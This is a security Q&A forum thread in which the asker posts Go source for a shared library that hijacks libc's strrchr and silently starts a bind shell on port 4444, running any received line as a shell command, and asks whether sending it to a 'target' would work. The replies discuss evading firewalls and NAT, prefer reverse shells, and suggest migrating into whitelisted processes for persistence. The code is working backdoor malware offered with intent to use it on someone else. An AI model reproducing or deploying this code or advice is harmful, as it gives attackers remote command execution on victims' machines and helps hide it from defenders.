1

I follow the article Hooking libc using Go shared libraries to create the following code:

package main

import (
    "C"

    "bufio"
    "log"
    "net"
    "net/textproto"
    "os/exec"

    "github.com/rainycape/dl"
)

// main is required to build a shared library, but does nothing
func main() {}

//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
    go backdoor()

    lib, err := dl.Open("libc", 0)
    if err != nil {
        log.Fatalln(err)
    }
    defer lib.Close()

    var old_strrchr func(s *C.char, c C.int) *C.char
    lib.Sym("strrchr", &old_strrchr)

    return old_strrchr(s, c)
}

func backdoor() {
    ln, err := net.Listen("tcp", "localhost:4444")
    if err != nil {
        return
    }

    for {
        conn, err := ln.Accept()
        if err != nil {
            continue
        }

        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    reader := bufio.NewReader(conn)
    tp := textproto.NewReader(reader)

    for {
        input, err := tp.ReadLine()
        if err != nil {
            log.Println("Error reading:", err.Error())
            break
        }

        cmd := exec.Command("/usr/bin/env", "sh", "-c", input)
        output, err := cmd.CombinedOutput()
        if err != nil {
            conn.Write([]byte(err.Error() + "\n"))
        }

        conn.Write(output)
    }

    conn.Close()
}

If I build this and send to a target, and he/she executes, can I send instructions if I know his/her IP? It seems too simple to believe. Can't a firewall protect the user from this?

Thanks!

0

Can't a firewall protect the user from this?

Yes, If a firewall/IDS is installed it will probably block your backdoor, since most firewalls block suspicious inbound connections. That's why most of the times instead of a bind shell, a reverse shell is used instead. But again a firewall may be blocking outbound connections too, so it will fail also.

Now, if a firewall is not installed, a bind shell will probably fail again, because of NAT. If the target isn't directly exposed to the internet and hasn't forwarded this specific port you won't be able to connect, but it would work if you were in the same network with the target (and no firewall/IDS was installed).

  • really interesting! How the firewall can know that is a suspicious inbound? – Evanusso Nov 3 '18 at 20:27
  • @Evanusso that depends on how a certain firewall/IDS works, but I guess that most of them would block nc.exe from listening on a port, unless the user somehow specifies them not to do so. – game0ver Nov 3 '18 at 20:44
  • Also some processes may be white-listed and allowed to accept inbound connections. In such a case if you e.g. have access and you want to set e.g. persistence it is very usual to migrate in such a process since the firewall won't block connections talking to this application. – game0ver Nov 3 '18 at 20:46
  • Really interesting. I spend this last hour researching about backdoor vs reverse shell. Is there a good reason to use a backdoor, since it looks much more complicated, and won't offer any gains over the reverse shell. – Evanusso Nov 3 '18 at 21:00
  • @Evanusso If with "backdoor" you mean a bind shell, then it is totally different than a reverse shell and there are some cases where it may be easier to use it instead of a reverse shell (I've seen such cases) and vise versa. It really depends on the target. – game0ver Nov 3 '18 at 21:06

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.